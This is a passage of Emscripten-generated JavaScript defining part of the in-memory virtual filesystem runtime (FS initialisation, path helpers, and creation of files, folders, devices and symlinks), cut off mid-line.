  4567.         [ERRNO_CODES.ENOENT].forEach((function(code) {
  4568.             FS.genericErrors[code] = new FS.ErrnoError(code);
  4569.             FS.genericErrors[code].stack = "<generic error, no stack>"
  4570.         }
  4571.         ))
  4572.     }
  4573.     ),
  4574.     staticInit: (function() {
  4575.         FS.ensureErrnoError();
  4576.         FS.nameTable = new Array(4096);
  4577.         FS.mount(MEMFS, {}, "/");
  4578.         FS.createDefaultDirectories();
  4579.         FS.createDefaultDevices();
  4580.         FS.createSpecialDirectories();
  4581.         FS.filesystems = {
  4582.             "MEMFS": MEMFS,
  4583.             "IDBFS": IDBFS,
  4584.             "NODEFS": NODEFS,
  4585.             "WORKERFS": WORKERFS
  4586.         }
  4587.     }
  4588.     ),
  4589.     init: (function(input, output, error) {
  4590.         assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)");
  4591.         FS.init.initialized = true;
  4592.         FS.ensureErrnoError();
  4593.         Module["stdin"] = input || Module["stdin"];
  4594.         Module["stdout"] = output || Module["stdout"];
  4595.         Module["stderr"] = error || Module["stderr"];
  4596.         FS.createStandardStreams()
  4597.     }
  4598.     ),
  4599.     quit: (function() {
  4600.         FS.init.initialized = false;
  4601.         var fflush = Module["_fflush"];
  4602.         if (fflush)
  4603.             fflush(0);
  4604.         for (var i = 0; i < FS.streams.length; i++) {
  4605.             var stream = FS.streams[i];
  4606.             if (!stream) {
  4607.                 continue
  4608.             }
  4609.             FS.close(stream)
  4610.         }
  4611.     }
  4612.     ),
  4613.     getMode: (function(canRead, canWrite) {
  4614.         var mode = 0;
  4615.         if (canRead)
  4616.             mode |= 292 | 73;
  4617.         if (canWrite)
  4618.             mode |= 146;
  4619.         return mode
  4620.     }
  4621.     ),
  4622.     joinPath: (function(parts, forceRelative) {
  4623.         var path = PATH.join.apply(null, parts);
  4624.         if (forceRelative && path[0] == "/")
  4625.             path = path.substr(1);
  4626.         return path
  4627.     }
  4628.     ),
  4629.     absolutePath: (function(relative, base) {
  4630.         return PATH.resolve(base, relative)
  4631.     }
  4632.     ),
  4633.     standardizePath: (function(path) {
  4634.         return PATH.normalize(path)
  4635.     }
  4636.     ),
  4637.     findObject: (function(path, dontResolveLastLink) {
  4638.         var ret = FS.analyzePath(path, dontResolveLastLink);
  4639.         if (ret.exists) {
  4640.             return ret.object
  4641.         } else {
  4642.             ___setErrNo(ret.error);
  4643.             return null
  4644.         }
  4645.     }
  4646.     ),
  4647.     analyzePath: (function(path, dontResolveLastLink) {
  4648.         try {
  4649.             var lookup = FS.lookupPath(path, {
  4650.                 follow: !dontResolveLastLink
  4651.             });
  4652.             path = lookup.path
  4653.         } catch (e) {}
  4654.         var ret = {
  4655.             isRoot: false,
  4656.             exists: false,
  4657.             error: 0,
  4658.             name: null,
  4659.             path: null,
  4660.             object: null,
  4661.             parentExists: false,
  4662.             parentPath: null,
  4663.             parentObject: null
  4664.         };
  4665.         try {
  4666.             var lookup = FS.lookupPath(path, {
  4667.                 parent: true
  4668.             });
  4669.             ret.parentExists = true;
  4670.             ret.parentPath = lookup.path;
  4671.             ret.parentObject = lookup.node;
  4672.             ret.name = PATH.basename(path);
  4673.             lookup = FS.lookupPath(path, {
  4674.                 follow: !dontResolveLastLink
  4675.             });
  4676.             ret.exists = true;
  4677.             ret.path = lookup.path;
  4678.             ret.object = lookup.node;
  4679.             ret.name = lookup.node.name;
  4680.             ret.isRoot = lookup.path === "/"
  4681.         } catch (e) {
  4682.             ret.error = e.errno
  4683.         }
  4684.         return ret
  4685.     }
  4686.     ),
  4687.     createFolder: (function(parent, name, canRead, canWrite) {
  4688.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4689.         var mode = FS.getMode(canRead, canWrite);
  4690.         return FS.mkdir(path, mode)
  4691.     }
  4692.     ),
  4693.     createPath: (function(parent, path, canRead, canWrite) {
  4694.         parent = typeof parent === "string" ? parent : FS.getPath(parent);
  4695.         var parts = path.split("/").reverse();
  4696.         while (parts.length) {
  4697.             var part = parts.pop();
  4698.             if (!part)
  4699.                 continue;
  4700.             var current = PATH.join2(parent, part);
  4701.             try {
  4702.                 FS.mkdir(current)
  4703.             } catch (e) {}
  4704.             parent = current
  4705.         }
  4706.         return current
  4707.     }
  4708.     ),
  4709.     createFile: (function(parent, name, properties, canRead, canWrite) {
  4710.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4711.         var mode = FS.getMode(canRead, canWrite);
  4712.         return FS.create(path, mode)
  4713.     }
  4714.     ),
  4715.     createDataFile: (function(parent, name, data, canRead, canWrite, canOwn) {
  4716.         var path = name ? PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name) : parent;
  4717.         var mode = FS.getMode(canRead, canWrite);
  4718.         var node = FS.create(path, mode);
  4719.         if (data) {
  4720.             if (typeof data === "string") {
  4721.                 var arr = new Array(data.length);
  4722.                 for (var i = 0, len = data.length; i < len; ++i)
  4723.                     arr[i] = data.charCodeAt(i);
  4724.                 data = arr
  4725.             }
  4726.             FS.chmod(node, mode | 146);
  4727.             var stream = FS.open(node, "w");
  4728.             FS.write(stream, data, 0, data.length, 0, canOwn);
  4729.             FS.close(stream);
  4730.             FS.chmod(node, mode)
  4731.         }
  4732.         return node
  4733.     }
  4734.     ),
  4735.     createDevice: (function(parent, name, input, output) {
  4736.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4737.         var mode = FS.getMode(!!input, !!output);
  4738.         if (!FS.createDevice.major)
  4739.             FS.createDevice.major = 64;
  4740.         var dev = FS.makedev(FS.createDevice.major++, 0);
  4741.         FS.registerDevice(dev, {
  4742.             open: (function(stream) {
  4743.                 stream.seekable = false
  4744.             }
  4745.             ),
  4746.             close: (function(stream) {
  4747.                 if (output && output.buffer && output.buffer.length) {
  4748.                     output(10)
  4749.                 }
  4750.             }
  4751.             ),
  4752.             read: (function(stream, buffer, offset, length, pos) {
  4753.                 var bytesRead = 0;
  4754.                 for (var i = 0; i < length; i++) {
  4755.                     var result;
  4756.                     try {
  4757.                         result = input()
  4758.                     } catch (e) {
  4759.                         throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4760.                     }
  4761.                     if (result === undefined && bytesRead === 0) {
  4762.                         throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  4763.                     }
  4764.                     if (result === null || result === undefined)
  4765.                         break;
  4766.                     bytesRead++;
  4767.                     buffer[offset + i] = result
  4768.                 }
  4769.                 if (bytesRead) {
  4770.                     stream.node.timestamp = Date.now()
  4771.                 }
  4772.                 return bytesRead
  4773.             }
  4774.             ),
  4775.             write: (function(stream, buffer, offset, length, pos) {
  4776.                 for (var i = 0; i < length; i++) {
  4777.                     try {
  4778.                         output(buffer[offset + i])
  4779.                     } catch (e) {
  4780.                         throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4781.                     }
  4782.                 }
  4783.                 if (length) {
  4784.                     stream.node.timestamp = Date.now()
  4785.                 }
  4786.                 return i
  4787.             }
  4788.             )
  4789.         });
  4790.         return FS.mkdev(path, mode, dev)
  4791.     }
  4792.     ),
  4793.     createLink: (function(parent, name, target, canRead, canWrite) {
  4794.         var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4795.         return FS.symlink(target, path)
  4796.     }
  4797.     ),
  4798.     forceLoadFile: (function(obj) {
  4799.         if (obj.